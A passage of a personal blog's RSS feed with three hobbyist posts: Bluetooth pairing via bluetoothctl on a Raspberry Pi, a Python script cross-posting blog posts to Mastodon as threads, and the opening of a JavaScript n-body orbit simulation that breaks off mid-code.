				Connecting to Bluetooth Devices using terminal, tested on Raspberry Pi Zero W
			</description>
			<link>https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html</link>
			<pubDate>Sun, 19 Jan 2020 15:27:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="how-to-setup-bluetooth-on-a-raspberry-pi">How to setup Bluetooth on a Raspberry Pi</h1>

<p><em>This was tested on a Raspberry Pi Zero W</em></p>

<h2 id="enter-in-the-bluetooth-mode">Enter in the Bluetooth Mode</h2>

<p><code>pi@raspberrypi:~ $ bluetoothctl</code></p>

<p><code>[bluetooth]# agent on</code></p>

<p><code>[bluetooth]# default-agent</code></p>

<p><code>[bluetooth]# scan on</code></p>

<h2 id="to-pair">To Pair</h2>

<p>While being in bluetooth mode</p>

<p><code>[bluetooth]# pair XX:XX:XX:XX:XX:XX</code></p>

<p>To Exit out of bluetoothctl anytime, just type exit </p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2022-12-25-blog-to-toot.html
			</guid>
			<title>
				Posting blogs as Mastodon Toots
			</title>
			<description>
				Cross posting blog posts to Mastodon
			</description>
			<link>https://web.navan.dev/posts/2022-12-25-blog-to-toot.html</link>
			<pubDate>Sun, 25 Dec 2022 17:32:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="posting-blogs-as-mastodon-toots">Posting blogs as Mastodon Toots</h1>

<p>What is better than posting a blog post? Posting about your posting pipeline. I did this previously with <a rel="noopener" target="_blank" href="/posts/2021-06-25-Blog2Twitter-P1.html">Twitter</a>. </p>

<h2 id="the-elephant-in-the-room">the elephant in the room</h2>

<p>mastodon.social does not support any formatting in the status posts. 
Yes, there are other instances which have patches to enable features such as markdown formatting, but there is no upstream support.</p>

<h2 id="time-to-code">time to code</h2>

<p>My website is built using a really simple static site generator I wrote in Python.
Therefore, each post is self-contained in a Markdown file with the necessary metadata.</p>

<p>I am going to specify the path to the blog post, parse it and then publish it.</p>

<p>I initially planned on having a command line parser and some more flags.</p>

<h3 id="interacting-with-mastodon">interacting with mastodon</h3>

<p>I ended up using mastodon.py rather than crafting requests by hand. Each status<em>post/toot call returns a status</em>id that can be then used as an in<em>reply</em>to parameter.</p>

<p>For the code snippets, seeing that mastodon does not support native formatting, I am resorting to using ray-so.</p>

<h3 id="reading-markdown">reading markdown</h3>

<p>I am using a bunch of regex hacks, and reading the blog post line by line. 
Because there is no markdown support, I append all the links to the end of the toot.
For images, I upload them and attach them to the toot.
The initial toot is generated based off the title and the tags associated with the post.</p>

<div class="codehilite">
<pre><span></span><code><span class="c1"># Regexes I am using</span>

<span class="n">markdown_image</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">&#39;(?:!\[(.*?)\]\((.*?)\))&#39;</span>
<span class="n">markdown_links</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">&#39;(?:\[(.*?)\]\((.*?)\))&#39;</span>
<span class="n">tags_within_metadata</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&quot;tags: ([\w,\s]+)&quot;</span>
<span class="n">metadata_regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&quot;---\s*\n(.*?)\n---\s*\n&quot;</span>
</code></pre>
</div>

<p>This is useful when I want to get the exact data I want.
In this case, I can extract the tags from the front matter.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">metadata</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">metadata_regex</span><span class="p">,</span> <span class="n">markdown_content</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)</span>
<span class="k">if</span> <span class="n">metadata</span><span class="p">:</span>
    <span class="n">tags_match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">&quot;tags: ([\w,\s]+)&quot;</span><span class="p">,</span> <span class="n">metadata</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">tags_match</span><span class="p">:</span>
        <span class="n">tags</span> <span class="o">=</span> <span class="n">tags_match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;,&quot;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="code-snippet-support">code snippet support</h3>

<p>I am running <a rel="noopener" target="_blank" href="https://github.com/akashrchandran/Rayso-API">akashrchandran/Rayso-API</a>.</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">requests</span>

<span class="k">def</span> <span class="nf">get_image</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">language</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&quot;python&quot;</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&quot;Code Snippet&quot;</span><span class="p">):</span>
    <span class="n">params</span> <span class="o">=</span> <span class="p">(</span>
        <span class="p">(</span><span class="s1">&#39;code&#39;</span><span class="p">,</span> <span class="n">code</span><span class="p">),</span>
        <span class="p">(</span><span class="s1">&#39;language&#39;</span><span class="p">,</span> <span class="n">language</span><span class="p">),</span>
        <span class="p">(</span><span class="s1">&#39;title&#39;</span><span class="p">,</span> <span class="n">title</span><span class="p">),</span>
    <span class="p">)</span>

    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://localhost:3000/api&#39;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="n">content</span>
</code></pre>
</div>

<h3 id="threads-threads-threads">threads! threads! threads!</h3>

<p>Even though mastodon does officially have a higher character limit than Twitter. 
I prefer the way threads look.</p>

<h2 id="result">result</h2>

<p>Everything does seem to work!
Seeing that you are reading this on Mastodon, and that I have updated this section.</p>

<p><iframe src="https://mastodon.social/@navanchauhan/109577330116812393/embed" class="mastodon-embed" style="max-width: 100%; border: 0" width="400" allowfullscreen="allowfullscreen"></iframe><script src="https://static-cdn.mastodon.social/embed.js" async="async"></script></p>

<h2 id="whats-next">what's next?</h2>

<p>Here is the current code:</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">mastodon</span> <span class="kn">import</span> <span class="n">Mastodon</span>
<span class="kn">from</span> <span class="nn">mastodon.errors</span> <span class="kn">import</span> <span class="n">MastodonAPIError</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">re</span>

<span class="n">mastodon</span> <span class="o">=</span> <span class="n">Mastodon</span><span class="p">(</span>
    <span class="n">access_token</span><span class="o">=</span><span class="s1">&#39;reeeeee&#39;</span><span class="p">,</span>
    <span class="n">api_base_url</span><span class="o">=</span><span class="s2">&quot;https://mastodon.social&quot;</span>
    <span class="p">)</span>

<span class="n">url_base</span> <span class="o">=</span> <span class="s2">&quot;https://web.navan.dev&quot;</span>
<span class="n">sample_markdown_file</span> <span class="o">=</span> <span class="s2">&quot;Content/posts/2022-12-25-blog-to-toot.md&quot;</span>

<span class="n">tags</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">toots</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">image_idx</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">markdown_image</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">&#39;(?:!\[(.*?)\]\((.*?)\))&#39;</span>
<span class="n">markdown_links</span> <span class="o">=</span> <span class="sa">r</span><span class="s1">&#39;(?:\[(.*?)\]\((.*?)\))&#39;</span>

<span class="k">def</span> <span class="nf">get_image</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">language</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&quot;python&quot;</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&quot;Code Snippet&quot;</span><span class="p">):</span>
    <span class="n">params</span> <span class="o">=</span> <span class="p">(</span>
        <span class="p">(</span><span class="s1">&#39;code&#39;</span><span class="p">,</span> <span class="n">code</span><span class="p">),</span>
        <span class="p">(</span><span class="s1">&#39;language&#39;</span><span class="p">,</span> <span class="n">language</span><span class="p">),</span>
        <span class="p">(</span><span class="s1">&#39;title&#39;</span><span class="p">,</span> <span class="n">title</span><span class="p">),</span>
    <span class="p">)</span>

    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;http://localhost:3000/api&#39;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="n">content</span>

<span class="k">class</span> <span class="nc">TootContent</span><span class="p">:</span>
    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">text</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span><span class="p">):</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">=</span> <span class="n">text</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">images</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">links</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">image_count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">images</span><span class="p">)</span>

    <span class="k">def</span> <span class="fm">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">toot_text</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">text</span>
        <span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
            <span class="n">toot_text</span> <span class="o">+=</span> <span class="s2">&quot; &quot;</span> <span class="o">+</span> <span class="n">link</span>
        <span class="k">return</span> <span class="n">toot_text</span>

    <span class="k">def</span> <span class="nf">get_text</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">toot_text</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">text</span>
        <span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
            <span class="n">toot_text</span> <span class="o">+=</span> <span class="s2">&quot; &quot;</span> <span class="o">+</span> <span class="n">link</span>
        <span class="k">return</span> <span class="n">toot_text</span>

    <span class="k">def</span> <span class="nf">get_length</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">:</span>
            <span class="n">length</span> <span class="o">+=</span> <span class="mi">23</span>
        <span class="k">return</span> <span class="n">length</span>

    <span class="k">def</span> <span class="nf">add_link</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">link</span><span class="p">):</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="o">+</span> <span class="mi">23</span> <span class="o">&lt;</span> <span class="mi">498</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> <span class="o">!=</span> <span class="s1">&#39;h&#39;</span><span class="p">:</span>
                <span class="n">link</span> <span class="o">=</span> <span class="n">url_base</span> <span class="o">+</span> <span class="n">link</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">)</span>
            <span class="k">return</span> <span class="kc">True</span>
        <span class="k">return</span> <span class="kc">False</span>

    <span class="k">def</span> <span class="nf">add_image</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">image</span><span class="p">):</span>

        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="p">)</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
            <span class="c1"># will handle in future</span>
            <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;cannot upload more than 4 images per toot&quot;</span><span class="p">)</span> 
            <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="c1"># upload image and get id</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image</span><span class="p">)</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">image_count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">images</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">add_text</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">text</span><span class="p">):</span>
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">+</span> <span class="n">text</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">400</span><span class="p">:</span>
            <span class="k">return</span> <span class="kc">False</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="bp">self</span><span class="o">.</span><span class="n">text</span> <span class="o">+=</span> <span class="sa">f</span><span class="s2">&quot; </span><span class="si">{</span><span class="n">text</span><span class="si">}</span><span class="s2">&quot;</span>
            <span class="k">return</span> <span class="kc">True</span>

    <span class="k">def</span> <span class="nf">get_links</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">links</span><span class="p">))</span>


<span class="n">in_metadata</span> <span class="o">=</span> <span class="kc">False</span>
<span class="n">in_code_block</span> <span class="o">=</span> <span class="kc">False</span>

<span class="n">my_toots</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">text</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
<span class="n">images</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">image_links</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">extra_links</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">tags</span> <span class="o">=</span> <span class="p">[]</span>

<span class="n">code_block</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
<span class="n">language</span> <span class="o">=</span> <span class="s2">&quot;bash&quot;</span>

<span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>

<span class="n">metadata_regex</span> <span class="o">=</span> <span class="sa">r</span><span class="s2">&quot;---\s*\n(.*?)\n---\s*\n&quot;</span>


<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sample_markdown_file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">markdown_content</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>


<span class="n">metadata</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="n">metadata_regex</span><span class="p">,</span> <span class="n">markdown_content</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)</span>
<span class="k">if</span> <span class="n">metadata</span><span class="p">:</span>
    <span class="n">tags_match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">&quot;tags: ([\w,\s]+)&quot;</span><span class="p">,</span> <span class="n">metadata</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">tags_match</span><span class="p">:</span>
        <span class="n">tags</span> <span class="o">=</span> <span class="n">tags_match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;,&quot;</span><span class="p">)</span>


<span class="n">markdown_content</span> <span class="o">=</span> <span class="n">markdown_content</span><span class="o">.</span><span class="n">rsplit</span><span class="p">(</span><span class="s2">&quot;---</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">,</span><span class="mi">1</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>

<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">markdown_content</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">current_toot</span><span class="o">.</span><span class="n">get_length</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">400</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">==</span> <span class="s1">&#39;&#39;</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="k">if</span> <span class="n">line</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s1">&#39;#&#39;</span><span class="p">:</span>
            <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&quot;#&quot;</span><span class="p">,</span><span class="s2">&quot;&quot;</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">my_toots</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span>
                    <span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">line</span><span class="si">}</span><span class="s2">: a cross-posted blog post </span><span class="se">\n</span><span class="s2">&quot;</span>
                    <span class="p">)</span>
                <span class="n">hashtags</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
                <span class="k">for</span> <span class="n">tag</span> <span class="ow">in</span> <span class="n">tags</span><span class="p">:</span>
                    <span class="n">hashtags</span> <span class="o">+=</span> <span class="sa">f</span><span class="s2">&quot;#</span><span class="si">{</span><span class="n">tag</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="si">}</span><span class="s2">,&quot;</span>
                <span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span><span class="n">hashtags</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
                <span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
                <span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
                <span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">(</span><span class="n">text</span><span class="o">=</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">line</span><span class="o">.</span><span class="n">title</span><span class="p">()</span><span class="si">}</span><span class="s2">:&quot;</span><span class="p">)</span>
            <span class="k">continue</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">if</span> <span class="s2">&quot;```&quot;</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
                <span class="n">in_code_block</span> <span class="o">=</span> <span class="ow">not</span> <span class="n">in_code_block</span>
                <span class="k">if</span> <span class="n">in_code_block</span><span class="p">:</span>
                    <span class="n">language</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&quot;```&quot;</span><span class="p">,</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
                    <span class="k">continue</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;code-snipped_</span><span class="si">{</span><span class="n">image_idx</span><span class="si">}</span><span class="s2">.png&quot;</span><span class="p">,</span><span class="s2">&quot;wb&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">get_image</span><span class="p">(</span><span class="n">code_block</span><span class="p">,</span> <span class="n">language</span><span class="p">))</span>
                    <span class="n">current_toot</span><span class="o">.</span><span class="n">add_image</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;code-snipped_</span><span class="si">{</span><span class="n">image_idx</span><span class="si">}</span><span class="s2">.png&quot;</span><span class="p">)</span>
                    <span class="n">image_idx</span> <span class="o">+=</span> <span class="mi">1</span>
                    <span class="n">code_block</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
                <span class="k">continue</span>
            <span class="k">if</span> <span class="n">in_code_block</span><span class="p">:</span>
                <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&quot;   &quot;</span><span class="p">,</span><span class="s2">&quot;</span><span class="se">\t</span><span class="s2">&quot;</span><span class="p">)</span>
                <span class="n">code_block</span> <span class="o">+=</span> <span class="n">line</span> <span class="o">+</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span>
                <span class="k">continue</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_image</span><span class="p">,</span><span class="n">line</span><span class="p">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
                <span class="k">for</span> <span class="n">image_link</span> <span class="ow">in</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
                    <span class="n">image_link</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image_link</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
                    <span class="c1"># not handled yet</span>
                <span class="n">line</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="n">markdown_image</span><span class="p">,</span><span class="s2">&quot;&quot;</span><span class="p">,</span><span class="n">line</span><span class="p">)</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span><span class="n">line</span><span class="p">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
                <span class="k">for</span> <span class="n">link</span> <span class="ow">in</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">markdown_links</span><span class="p">,</span> <span class="n">line</span><span class="p">):</span>
                    <span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">current_toot</span><span class="o">.</span><span class="n">add_link</span><span class="p">(</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">])):</span>
                        <span class="n">extra_links</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
                    <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;[</span><span class="si">{</span><span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s1">](</span><span class="si">{</span><span class="n">link</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s1">)&#39;</span><span class="p">,</span><span class="n">link</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">current_toot</span><span class="o">.</span><span class="n">add_text</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
                <span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
                <span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>
        <span class="n">current_toot</span> <span class="o">=</span> <span class="n">TootContent</span><span class="p">()</span>

<span class="n">my_toots</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current_toot</span><span class="p">)</span>

<span class="n">in_reply_to_id</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">for</span> <span class="n">toot</span> <span class="ow">in</span> <span class="n">my_toots</span><span class="p">:</span>
    <span class="n">image_ids</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">toot</span><span class="o">.</span><span class="n">images</span><span class="p">:</span>
        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;uploading image, </span><span class="si">{</span><span class="n">image</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">image_id</span> <span class="o">=</span> <span class="n">mastodon</span><span class="o">.</span><span class="n">media_post</span><span class="p">(</span><span class="n">image</span><span class="p">)</span>
            <span class="n">image_ids</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">image_id</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
        <span class="k">except</span> <span class="n">MastodonAPIError</span><span class="p">:</span>
            <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;failed to upload. Continuing...&quot;</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">image_ids</span> <span class="o">==</span> <span class="p">[]:</span>
        <span class="n">image_ids</span> <span class="o">=</span> <span class="kc">None</span>

    <span class="n">in_reply_to_id</span> <span class="o">=</span> <span class="n">mastodon</span><span class="o">.</span><span class="n">status_post</span><span class="p">(</span>
        <span class="n">toot</span><span class="o">.</span><span class="n">get_text</span><span class="p">(),</span> <span class="n">in_reply_to_id</span><span class="o">=</span><span class="n">in_reply_to_id</span><span class="p">,</span> <span class="n">media_ids</span><span class="o">=</span><span class="n">image_ids</span>
        <span class="p">)</span><span class="o">.</span><span class="n">id</span>
</code></pre>
</div>

<p>Not the best thing I have ever written, but it works!</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2023-04-30-n-body-simulation.html
			</guid>
			<title>
				n-body solution generator
			</title>
			<description>
				n-body solution generator and solver
			</description>
			<link>https://web.navan.dev/posts/2023-04-30-n-body-simulation.html</link>
			<pubDate>Sun, 30 Apr 2023 22:50:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="n-body-solution-generator">n-body solution generator</h1>

<p>This post requires JavaScript to be viewed properly :(</p>

<p>Adapted from the Numerics Tutorial - <a rel="noopener" target="_blank" href="https://github.com/kirklong/ThreeBodyBot/tree/master/NumericsTutorial">kirklong/ThreeBodyBot</a>. The Julia code has been rewritten in JavaScript.</p>

<p>Workflow:</p>

<ul>
<li>Understand the problem</li>
<li>Visualise a basic orbit</li>
<li>Solve and plot the classic figure-8 orbit</li>
<li>Random n-body solution generator</li>
</ul>

<p><strong>To workaround memory issues, the simulations are only run on-demand when the user clicks the respective button. Scroll down to the bottom of the page to see the results.</strong></p>

<h2 id="the-n-body-problem">The n-body problem</h2>

<p>The n-body problem is a classic puzzle in physics (and thus astrophysics) and mathematics that deals with predicting the motion of multiple celestial objects that interact with each other through gravitational forces. </p>

<p>Imagine you are observing a <em>cosmic dance</em> between multiple celestial bodies, all tugging on one another as they move through space. The n-body problem aims to understand and predict the paths of these objects as they move through space.</p>

<p>When <code>n=2</code>, i.e we have only two objects, say the Earth and the Moon, we can easily apply Newtonian physics to predict their motion. However, when <code>n&gt;2</code>, the problem becomes much more difficult to solve analytically.[1] This is because each object feels the gravitational pull from all other objects, and thus the equations of motion become coupled and non-linear. </p>

<p>As the number of objects increases, finding an exact solution becomes impossible, and we rely on analytical approximations.</p>

<h2 id="visualising-a-basic-orbit">Visualising a basic orbit</h2>

<p>If we want to create a n-body simulation in our browser, we need to figure out how we are going to visualise the motion of the objects. There are a few ways to do this, but the easiest is to use Plotly.js, a JavaScript library for creating interactive graphs. (An alternative is to use the HTML5 canvas element).</p>

<div class="codehilite">
<pre><span></span><code><span class="cm">/*</span>
<span class="cm"> * Earth - Sun Orbit Plot</span>
<span class="cm"> * Taken from Numerics tutorial</span>
<span class="cm"> */</span>

<span class="kd">const</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67e-11</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">Msun</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">2e30</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">AU</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">;</span>
